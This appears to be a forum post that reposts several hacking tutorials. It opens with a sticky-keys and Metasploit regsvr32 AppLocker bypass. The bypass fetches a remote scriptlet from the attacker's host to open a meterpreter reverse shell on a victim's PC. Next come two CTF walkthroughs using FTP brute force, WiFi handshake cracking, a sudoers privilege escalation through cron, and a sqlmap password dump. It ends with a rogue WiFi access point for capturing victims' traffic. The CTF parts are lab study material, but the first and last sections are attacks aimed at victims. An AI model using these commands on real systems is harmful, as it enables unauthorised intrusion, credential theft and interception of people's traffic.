04-25-2020, 04:50 AM
| 0 | 0 | ||
Let us assume that our victim’s pc already has sticky keys attack enabled on it. To know more about sticky keys, visit
[To see content please register here]
.You will need physical access to the victim’s pc for this attack. Press the “shift” key 5 times on the victim’s pc to bring up the command prompt.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-Nlr_kB1aIu8/WD57n1w49eI/AAAAAAAAOYA/sfms3yoGq0QiSqH72HBavYGKqBWo58s2QCLcB/s1600/1.png?w=687&ssl=1)
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-IHwhUFv7Tpo/WD57nOXnnWI/AAAAAAAAOX4/v1lIMLkylkwYDIwiq1ej7XlbuFC0hwCdgCLcB/s1600/2.png?w=687&ssl=1)
Thereafter, we search for regsvr32_applocker_bypass_server and use the exploit followed by setting the payload, lhost, lport and run exploit.
use exploit/windows/misc/regsvr32_applocker_bypass_server
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.106
set lport 4444
exploit
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-zVso1YjI7Ec/WD57npNUf0I/AAAAAAAAOX8/SH2c9B6UPWINN8glWI1_YaXFbcu3c_vHwCLcB/s1600/3.png?w=687&ssl=1)
Regsvr32 /s /n /u /i:http://192.168.0.106:8080/nKCCncmdb.sct scrobj.dll
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/--4H8hIeBTOk/WD57ppBtQCI/AAAAAAAAOYI/3t9c7ImF_AMNXaLZr2QF2ZqiRMk7kVWGgCLcB/s1600/4.png?w=687&ssl=1)
Voila, we have the session of victim’s pc on our meterpreter.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-LWy9wAFXPek/WD57p9P_bmI/AAAAAAAAOYE/qILH2YF1f4UQY0ze1JTK1jNxZXBxLcrWACLcB/s1600/5.png?w=687&ssl=1)
Today in our CTF challenge series we are going to do Billy Madison. This VM is based on 90’s movie Billy Madison, hence the name of the VM. The main aim of this VM is to figure out how Eric took over the machine and then undo his changes so you can recover Billy’s 12th-grade final project. You will probably need to root the VM to complete this objective. Without further ado let’s start.
Download the lab from
[To see content please register here]
Walkthrough
Let’s locate our target first.
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-3mBAIeTyoZI/WD0p9UUlG2I/AAAAAAAAOVc/ON_I6SnUqHknc9DhYNG1l4HYpqDEAp6zgCLcB/s1600/1.png?w=687&ssl=1)
nmap -p- -A 192.168.1.103
1
nmap -p- -A 192.168.1.103
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-AU-9yNgGl5o/WD0qEUNH02I/AAAAAAAAOWE/bgyBhsFVYN4cV4gxqQNukPFPj7dDuxTIgCLcB/s1600/2.png?w=687&ssl=1)
Okay! So from nmap we have discovered the port : 22, 23, 69, 80, 137, 138, 139, 445, 2525. So, I opened our target in the browser at port 69.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-hN9RcUW63TY/WD0qOi2KqeI/AAAAAAAAOWw/DVRe8Avts2wZCXnh68ABoFKmyvoGA-5yQCEw/s1600/3.png?w=687&ssl=1)
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-Y5AWq8udqj0/WD0qTUEpI4I/AAAAAAAAOXU/xeg6SDFvBa0K6t3p9C5nVk5NWVIhtfnnwCEw/s1600/4.png?w=687&ssl=1)
Then I explored the smb port.
smbclient -L 192.168.0.103
1
smbclient -L 192.168.0.103
When it asks for a password then just hit enter without entering a password.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-zmYLAy3s7cc/WD0qStKT-8I/AAAAAAAAOXQ/hEdd37gk23QZxF5iy7QyoCJZSKexBw3WACEw/s1600/5.png?w=687&ssl=1)
It just told us that backdoor is currently closed. So then I traversed telnet.
telnet 192.168.0.103
1
telnet 192.168.0.103
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-5bOBZ9-55dM/WD0qUHqpSWI/AAAAAAAAOXw/YsoojmqCTNM9XcbVWAoCbW-DIoFapPM5ACEw/s1600/7.png?w=687&ssl=1)
There was a message in telnet telling us the password and that it has been encrypted with ROT13(hint: ROTten). Let’s decode it.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-rNHCx0MkTsw/WD0qV8S4-_I/AAAAAAAAOXw/qrW7-aiWycE8NJ5tglpR2tdLR6q8gAfBwCEw/s1600/8.png?w=687&ssl=1)
By decrypting it, it comes to be as exschmenuating. Now this could be a directory so I opened it in the browser
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-67QIt_gE6nE/WD0qVk_dHqI/AAAAAAAAOXw/ZSBUN4UnnEQ3M5GzYr3bfAuGnXB1Q4UWQCEw/s1600/9.png?w=687&ssl=1)
Now in the browser, it opened a webpage which gave us a few hints for moving forward. Through conclusion, we now know that there is a .cap file. And that it is saved with the name which includes ‘veronica’ and that name and is derived from rockyou.txt.
Now there are many names in rockyou.txt but we only need the ones with to have Veronica in it and for that use the following command:
grep –i veronica /usr/share/wordslists/rockyou.txt > /root/Desktop/dict.txt
1
grep –i veronica /usr/share/wordslists/rockyou.txt > /root/Desktop/dict.txt
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-g4MTDg_5h74/WD0p9W2To2I/AAAAAAAAOXo/q3ozFnIXNR8uSMM4UBOmvh1bcthn0tJ4gCEw/s1600/10.png?w=687&ssl=1)
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-MN8lnEptNhM/WD0p9tM6oGI/AAAAAAAAOXo/yZEgaZFF0PAJh3zo-3KfX7eQwmLuwix8ACEw/s1600/11.png?w=687&ssl=1)
As a result, it will show you 012987veronica.cap file.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-_GfcrZu8xmM/WD0p-mTW23I/AAAAAAAAOXo/Yaj4Ha3SmAE8GfHUiCfo2qPAKzhTVqtLwCEw/s1600/12.png?w=687&ssl=1)
Open it in the browser. It will ask you to download it, go ahead with it.
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-UkRJt7hruqw/WD0p-TalAPI/AAAAAAAAOXo/moS-ErInjCENYuQiVi5EULXmvYG4X-G3wCEw/s1600/13.png?w=687&ssl=1)
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-hDT82Y9VVcA/WD0qAJB4MoI/AAAAAAAAOXw/5-aCDCIQkmotX6ceAbIuonpCqSO6GRYkwCEw/s1600/14.png?w=687&ssl=1)
In another TCP stream, you will find that Veronica has replied to Eric, saying that to share the link through FTP server along with a youtube link.
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-I3dlPU9eJOg/WD0p_TwV9sI/AAAAAAAAOXw/_45Kohi3A9cdVqROEJ1-bad3lsvnySy7wCEw/s1600/15.png?w=687&ssl=1)
Again in a TCP stream of a packet, you will find that Eric has told her about his username and password.
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-h6x3eXouKek/WD0qAt2uxTI/AAAAAAAAOXw/Gdp7fhm8QCYOYgs77KcRpqtk9oWuk3qxACEw/s1600/16.png?w=687&ssl=1)
Ok! So we have eric’s username and password. Keep that with you for later use. Meanwhile, let’s check out the youtube link.
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-b0bpFKtIth4/WD0qCFbBEXI/AAAAAAAAOXw/6hQWDEqLEhkoRSa-fwZmrWNNIkm2XdBsQCEw/s1600/17.png?w=687&ssl=1)
In the video, it says the combination of some numbers. Now, these numbers could be used for port knocking. So, let’s try it.
for x in 1466 67 1468 1514 1981 1986; do nmap -Pn --host_timeout 201 --max-retries 0 –p $x 192.168.0.103; done
1
for x in 1466 67 1468 1514 1981 1986; do nmap -Pn --host_timeout 201 --max-retries 0 –p $x 192.168.0.103; done
![[Image: 18.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-2bOsw1RboD0/WD0qC42XXHI/AAAAAAAAOXw/WcspmThQsV0TLJSZl6UHmzwbwbqTolm7ACEw/s1600/18.png?w=687&ssl=1)
Then to check I fired up the nmap again.
nmap -p- 192.168.0.103
1
nmap -p- 192.168.0.103
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-NObrD9hBt_g/WD0qDWtlzeI/AAAAAAAAOXw/-9WGfr6dciQGcicMcew5rr7CELqt82fFQCEw/s1600/19.png?w=687&ssl=1)
And Voila!! FTP port opened on 21. Lets’ enter through it now as we have username and password. Remember The password and username for eric we discovered earlier.
ftp 192.168.0.103
1
ftp 192.168.0.103
Now let’s see the directories in it.
dir
1
dir
There is a file named .notes. I decided to read it but before doing so I had to download it, therefore, type :
get .notes
exit
1
2
get .notes
exit
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-bbKw-ryJPHc/WD0qFTGsDfI/AAAAAAAAOXw/N18FhHjITTkTgwQJleB3AkCmfroYtosvACEw/s1600/20.png?w=687&ssl=1)
Now that notes file is downloaded, type the following command in the terminal of kali to read it:
cat .notes
1
cat .notes
![[Image: 21.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-GQDa-ktvHaA/WD0qFlDdN3I/AAAAAAAAOXw/naSA32x4CKUSXMkyHZJ--WynKOLoLQkLACEw/s1600/21.png?w=687&ssl=1)
There was a message in the notes by eric. Now if you remember the conversation of Veronica and eric then you would know that there are two users on the ftp server. the second one is Veronica. Naturally, I decided to use hydra to apply the brute force attack on FTP to get the username and password using the same dictionary file which I had created with grep.
hydra –l veronica –P /root/Desktop/ver.txt
[To see content please register here]
1
hydra –l veronica –P /root/Desktop/ver.txt
[To see content please register here]
![[Image: 22.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-W32oI9VWCLY/WD0qGOSOcFI/AAAAAAAAOXw/8W_DHp1JtcUaODQdfpB3hW3wUwsmXuIZwCEw/s1600/22.png?w=687&ssl=1)
And yes!! We have the password along with username i.e. veronica and [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login respectively. Then I decided to explore more of FTP with veronica’s username and password and I found two files there: one is of .cap and other .eml and downloaded them both and to achieve so type the combination of the following commands:
Register or Login respectively. Then I decided to explore more of FTP with veronica’s username and password and I found two files there: one is of .cap and other .eml and downloaded them both and to achieve so type the combination of the following commands:
ftp 192.168.0.103
dir
binary
get eg-01.cap
get email-from-billy.eml
1
2
3
4
5
ftp 192.168.0.103
dir
binary
get eg-01.cap
get email-from-billy.eml
![[Image: 23.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-Iyv4QlOnFho/WD0qHveg6OI/AAAAAAAAOXw/rQ-Jsyd4MlQSIU8E23wT6DzHVQQHEn6gwCEw/s1600/23.png?w=687&ssl=1)
Let’s read the email now.
![[Image: 26.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-hYJrMiNhmHA/WD0qLTAzNbI/AAAAAAAAOXw/i9SvXphVPv8y2VloZsvXvlfMjiXXEMk0wCEw/s1600/26.png?w=687&ssl=1)
In the mail, he says how he hacks Eric’s wireless password. But if you observe everything you will find that he has used swaks to send this mail. Now swaks is an SMTP server that is a featureful, flexible, scriptable, transaction-oriented tool developed by John Jetmore. So, therefore I used the following command next:
swaks --to [email protected] --from [email protected] --server 192.168.0.104:2525 – body "My kid will be a soccer player" --header "Subject: My kid will be soccer player"
1
swaks --to [email protected] --from [email protected] --server 192.168.0.104:2525 – body "My kid will be a soccer player" --header "Subject: My kid will be soccer player"
![[Image: 27.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-Ct1aLF4mdJs/WD0qK_O1_CI/AAAAAAAAOXw/Q4htBOrQ-KsHuJDVFh_K3JLEtr3IWN80wCEw/s1600/27.png?w=687&ssl=1)
Further, I used aircrack-ng to monitor eg-01.cap to because the email that was sent through the swaks mentioned something about the wifi password.
aircrack-ng /root/Desktop/eg-01.cap –w /usr/share/wordlists/rockyou.txt
1
aircrack-ng /root/Desktop/eg-01.cap –w /usr/share/wordlists/rockyou.txt
![[Image: 24.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-x21VU2c72j4/WD0qIgrV3PI/AAAAAAAAOXw/EuhFnxf1scUdrQWG9dL5OF6gKJ2hJXNSACEw/s1600/24.png?w=687&ssl=1)
And with aircrack-ng, we found the password of wireless i.e. triscuit*.
![[Image: 25.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-HwuGPIDsrbo/WD0qJPDvX4I/AAAAAAAAOXw/_WZc6YRdYrQTUm6NnRY8kmbbpodMohKVACEw/s1600/25.png?w=687&ssl=1)
nmap -p- -A 192.168.0.103
1
nmap -p- -A 192.168.0.103
![[Image: 28.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-AVsienBDJOw/WD0qMr_pTQI/AAAAAAAAOXw/EZkMtS3743Qgln1YG2mdbvTlHe4wpfIOACEw/s1600/28.png?w=687&ssl=1)
As a result, you can see that a new port opens i.e. 1974 with SSH service. Let’s try and log in with SSH.
ssh [email protected] –p 1974
1
ssh [email protected] –p 1974
And then give the password triscuit*. Once I was logged in I checked it Linux version with the following command but it was not exploitable.
lsb_release –a
1
lsb_release –a
Then typed following command to see what it has to offer :
ls
There I found a text file so I decided to read it.
cat why-1974.txt
![[Image: 29.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-CUf-u0OwTN8/WD0qOYh7YOI/AAAAAAAAOXw/e2MS77RuEhYSRDXMDsgIlkgh_u4jwx5AACEw/s1600/29.png?w=687&ssl=1)
find / -perm -2000 –type f 2>/dev/null
1
find / -perm -2000 –type f 2>/dev/null
![[Image: 30.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-1_6Q5TMBO7w/WD0qO-GKTAI/AAAAAAAAOXw/VlMqjvsh5B8XOpl2XkV2KqwV-RimcMAbQCEw/s1600/30.png?w=687&ssl=1)
I was pretty lost here so decided to take some help from Mr Goblin (
[To see content please register here]
) and so type the following set of commands:touch /tmp/test
/usr/local/share/sgml/donpcgd /tmp/test /etc/cron.hourly/test
echo -e '#!/bin/bash\necho "eric ALL=(ALL) NOPASSWORD:ALL" >> /etc/sudoers' > /etc/cron.hourly/test
chmod +x /etc/cron.hourly/test
cat /etc/chron.hourly/test
1
2
3
4
5
touch /tmp/test
/usr/local/share/sgml/donpcgd /tmp/test /etc/cron.hourly/test
echo -e '#!/bin/bash\necho "eric ALL=(ALL) NOPASSWORD:ALL" >> /etc/sudoers' > /etc/cron.hourly/test
chmod +x /etc/cron.hourly/test
cat /etc/chron.hourly/test
![[Image: 31.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-Sn730j-EgcI/WD0qPbBxS7I/AAAAAAAAOXw/Bu1htezDRn0dobYNEfFnJRhNhEHj-0pTgCEw/s1600/31.png?w=687&ssl=1)
This way you will escalate the privileges and reach the root. Let’s see what files root has:
ls
1
ls
I decided to read /PRIVATE file.
cd /PRIVATE
ls
1
2
cd /PRIVATE
ls
Here, I found hint.txt and BowelMovement files. First I opened hint.txt.
cat hint.txt
1
cat hint.txt
In this file, he is talking about the BowelMovement file and about its password which is the link given. So I copied the BowelMovement file.
cp BowelMovement /var/www/html
1
cp BowelMovement /var/www/html
![[Image: 32.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-ofqb8o0hTQs/WD0qP1pljKI/AAAAAAAAOXw/ek3axyf2HCk4bjmH0GoFWYSW2R9a3KcHwCEw/s1600/32.png?w=687&ssl=1)
cewl --depth 0
[To see content please register here]
> /root/Desktop/billt.txt1
cewl --depth 0
[To see content please register here]
> /root/Desktop/billt.txt![[Image: 33.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-aU5HoLsgryM/WD0qP_COb4I/AAAAAAAAOXw/MqaKsT7C_icToZNi-T6icdId7xRk-mufgCEw/s1600/33.png?w=687&ssl=1)
By brute force, you will find the correct password from this dictionary file. Using that password open the movement file that you have downloaded. BowelM.
![[Image: 35.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-EJU8DGdtlpg/WD0qQrIlDsI/AAAAAAAAOXw/E73-jHafoy8O0jLY_zgZzw2CsEa0O8WDwCEw/s1600/35.png?w=687&ssl=1)
And then open the same in the terminal of kali and type :
ls
There is a file called secret.zip, unzip it.
unzip secret.zip
1
unzip secret.zip
![[Image: 36.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-qeJ9Fj8WA4s/WD0qQ9n5i0I/AAAAAAAAOXw/E-i5_kdowLgbcsfWE9OgYq1Secb7x4bqACEw/s1600/36.png?w=687&ssl=1)
In the zipped folder, there were two files. I decided to read them both.
cat THE-END.txt
cat Billy_Madison12th_Grade_Fimal_Project.doc
1
2
cat THE-END.txt
cat Billy_Madison12th_Grade_Fimal_Project.doc
![[Image: 37.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-c0XZucnHBQA/WD0qSMJLwbI/AAAAAAAAOXw/xDlxZNpsAhYg5ngoijDCtWjQ1nqsZ-tTgCEw/s1600/37.png?w=687&ssl=1)
This is another article for Boot2Root series in CTF challenges. This lab is prepared by HollyGracefull. This is just a preview of the original lab which stimulates the E-commerce web application which contains common security errors. Current vulnerabilities are listed below :
- SQL Injection (Error-based)
- SQL Injection (Blind)
- Reflected Cross-Site Scripting
- Stored Cross-Site Scripting
- Insecure Direct-Object Reference
- Username Enumeration
- Path Traversal
- Exposed phpinfo()
- Exposed Administrative Interface
- Weak Admin Credentials
WalkThrough
Firstly, let’s locate our target.
netdiscover ![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-iiqA__MaN8c/WDwNqhrPwoI/AAAAAAAAOUE/V6G1XXNboDcTpuoWY9gUrECd-xNeJwt1gCLcB/s1600/1.png?w=687&ssl=1)
nmap –p- -A 192.168.1.8
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-gGqgR8WMOlg/WDwNycqJYFI/AAAAAAAAOUo/GWBWVT2-nJ8ov89YwbCmVJKK633hp_p_ACLcB/s1600/2.png?w=687&ssl=1)
The only port we found open was 80. Next, we fire up the Nikto.
nikto –h 192.168.1.8
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-K1-QIoZfN0E/WDwN2KsSigI/AAAAAAAAOVQ/vCRYNvz8UVkJEzbiP_9ZgwD92FkrmGYdgCEw/s1600/3.png?w=687&ssl=1)
Through nikto we discovered two directories : /admin/ and /images/. OK! Let’s make its mental note and decided to move forward with opening our target in the browser.
![[Image: 4.1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-C9KJP0kNNgA/WDwN3mxexvI/AAAAAAAAOVQ/9pWDhNQRz-EGG6u_SzXhKodwAiaZmVORACEw/s1600/4.1.png?w=687&ssl=1)
Opening it on the browser we found that it was an e-commerce site as hinted by the author. We checked every tab but found nothing except in the blog tab.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-sl67CFr0qr4/WDwN26kGMHI/AAAAAAAAOVQ/gEnrnMUTFFQmZPpYaMnIAJ_lThTicv_GgCEw/s1600/4.png?w=687&ssl=1)
In the blog tab, when you will hover your mouse arrow over the admin in the phrase ‘Hey Admin!’. It will change from arrow to a hand that indicates that means it will open as it a click on.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-xkhNGdS7qnE/WDwN6pcQUaI/AAAAAAAAOVQ/RjStiCadl_MwZvqk1AyrmWvYFydptQXNACEw/s1600/5.png?w=687&ssl=1)
When you click on it, it will show a username of admin. Ok! I made a note of it. Let’s now check the clothing tab.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-LZDRwyM_zwc/WDwN53WMG2I/AAAAAAAAOVQ/HPvtdKDF1yEoazXYC5t5qgoGtxpLubuZQCEw/s1600/6.png?w=687&ssl=1)
There is nothing useful in this tab. As the author hinted that the website is vulnerable towards SQL attacks so let’s try one. This time let’s try a different SQL attack using BurpSuite. Capture the cookies of the webpage through BurpSuite.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-YtMKCh3TJLY/WDwN6xQW8iI/AAAAAAAAOVQ/leLINMln1-o0rLdr5oEtyqPOMsargp-QgCEw/s1600/7.png?w=687&ssl=1)
Copy the cooky string and paste it in a simple text file.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-UG6OsFtBEXo/WDwN7WNrulI/AAAAAAAAOVQ/50ZOA47Fnk0MwzSPYyKfC5DsTT7QI26LQCEw/s1600/8.png?w=687&ssl=1)
Then start the SQL attack by typing the following command in the terminal of Kali.
sqlmap –r /root/Desktop/sea.txt –dbs
Here,
/root/Desktop/sea.txt is the path of the text file in which we had saved the cookies.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-UApYGpEXLJY/WDwN8SHjt6I/AAAAAAAAOVQ/KgYiqA80WpwBHa_QkTTmeltUQSQSvXPKACEw/s1600/9.png?w=687&ssl=1)
This command will give us the name of the following database.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-0i6skiJIhH4/WDwNqTvTZJI/AAAAAAAAOVQ/eugUcrghmF09K821vuO4QKuJSOYJMAtLwCEw/s1600/10.png?w=687&ssl=1)
Out of these databases, we will dump the tables of seattle with the following command :
sqlmap –r /root/Desktop/sea.txt –D seattle –tables
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-_qYStkQ6Iro/WDwNpRs1OHI/AAAAAAAAOVQ/1HcuuM9jlXY9faQ5RxzCubSMD8ch86aFgCEw/s1600/11.png?w=687&ssl=1)
And with that, we will have all the name of the tables as you can see in the following image.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-KLj6tiLMSJw/WDwNrJKbX-I/AAAAAAAAOVQ/dIYoMNDxWyM2QlPBx7VHORddz-_db4BvwCEw/s1600/12.png?w=687&ssl=1)
Next, we will dump the columns of the tables with the following command :
sqlmap –r /root/Desktop/sea.txt –D seattle –T tblMembers –columns
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-5LjHFPHhVow/WDwNr9MwkzI/AAAAAAAAOVQ/Bc9CFKWjMc41aOCE1is0KSLBH-JBEJCmwCEw/s1600/13.png?w=687&ssl=1)
The execution of the above command will show the table names as follows:
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-MHnr5e4iu_8/WDwNsiqgcEI/AAAAAAAAOVQ/6aXsF4LhPd0Y8TELDyIDIpBVaGDGkX07QCEw/s1600/14.png?w=687&ssl=1)
Now in the table names, there is a table password. Now we already have the username of the admin and we just want the password. So now we will dump the contents of the password table.
sqlmap –r /root/Desktop/sea.txt –D seattle –T tblmembers –C password –dump
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-xHfOZ5AAh78/WDwNurFUDoI/AAAAAAAAOVQ/Pz_kci7CoZsaSOt6pyY7xYOOZysfgKpmQCEw/s1600/15.png?w=687&ssl=1)
And voila! We have the password i.e. Assasin1
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-8cBofaxNXh4/WDwNvFKRjfI/AAAAAAAAOVQ/PlVCVSvYkOI9f3rqe2cuRszqk4Quq15WwCEw/s1600/16.png?w=687&ssl=1)
Now in the browser, go to my account tab and there you will find a login portal. Give the username and password of the admin and click on Login.
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-pz8Bv5dkMJA/WDwNxLYgvDI/AAAAAAAAOVQ/6aS4devvBDYu6pyGA5zCQNX2A8OD-OHpACEw/s1600/17.png?w=687&ssl=1)
And you will be logged in as the admin.
![[Image: 18.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-kit8By2pojg/WDwNxflu1uI/AAAAAAAAOVQ/GTxmbGQrix4jXDhPAAoErD_UkY8MqAdkACEw/s1600/18.png?w=687&ssl=1)
This CTF does contain any flag. All that required was to have admin access and yooohoooo!! We have that.
WiFi-Pumpkin is an open source security tool that provides the Rogue access point to Man-In-The-Middle and network attacks. Using WiFi Pumpkin, one can create a wifi network that captures all the requests made within the network by any device that connects to the network.
First of all, u need to download WiFi Pumpkin and install it in your Kali Linux. To download WiFi Pumpkin, go to
[To see content please register here]
and click on Clone or Download. Thereafter, copy the URL to the clipboard and open the terminal. Type in:- git clone “URL copied to clipboard”
Next, go to the directory of WiFi Pumpkin on the terminal. For eg., if the repo is downloaded to the Desktop, type:
cd Desktop WiFi-Pumpkin
./installer.sh --install
1
2
cd Desktop WiFi-Pumpkin
./installer.sh --install
Thereafter, run wifi-pumpkin:
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-WJjMu6Ws2pY/WDkZ2VAseBI/AAAAAAAAORY/606XG0qRCPM-dBMQmDtjNWKgXZ8q4NuiwCLcB/s1600/1.png?w=687&ssl=1)
This will open the GUI version of WiFi-Pumpkin. Now select the network adapter and change the SSID from PumpAP and rename it as desired.
![[Image: 1_2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-kv87zOLjWRM/WDkZ2WOj81I/AAAAAAAAORc/GMMc2t3ZvJQkmLeXJCIgwo1T1vXnquR2QCLcB/s1600/1_2.png?w=687&ssl=1)
Thereafter click on the Start button. This will create a new wifi-zone with the name entered in the SSID field.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-rY2QFqdLCkY/WDkZ1zUa9cI/AAAAAAAAORU/0ungktmKJZsxBiWo3Twa3btJxJgl2PPyACEw/s1600/2.png?w=687&ssl=1)
Now as soon as any device connects to this wifi network, its details will be shown in the table at the right. Select any target device from the list of connected device/s and select Active Driftnet from the Tools menu.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-J6QY94GZh_c/WDkZ2lA0VVI/AAAAAAAAORg/u5HRxEl2fuE6-pZcrsWQG05RR0M8qMqWgCEw/s1600/3.png?w=687&ssl=1)
As soon as Driftnet starts, it will start sending screenshots from the victim’s desktop/mobile. This will also capture the images of facebook.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/--z48pbvrEgA/WDkZ4gKVrgI/AAAAAAAAORk/AmLljQ4Hf8kVvM0gn4Lo3wktERqoPb3OQCEw/s1600/4.png?w=687&ssl=1)
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-wXkPaKQGchg/WDkZ52qLsrI/AAAAAAAAORo/bn3S61WvEpA1YlanqTDX_-pBwGK2esYNwCEw/s1600/5.png?w=687&ssl=1)













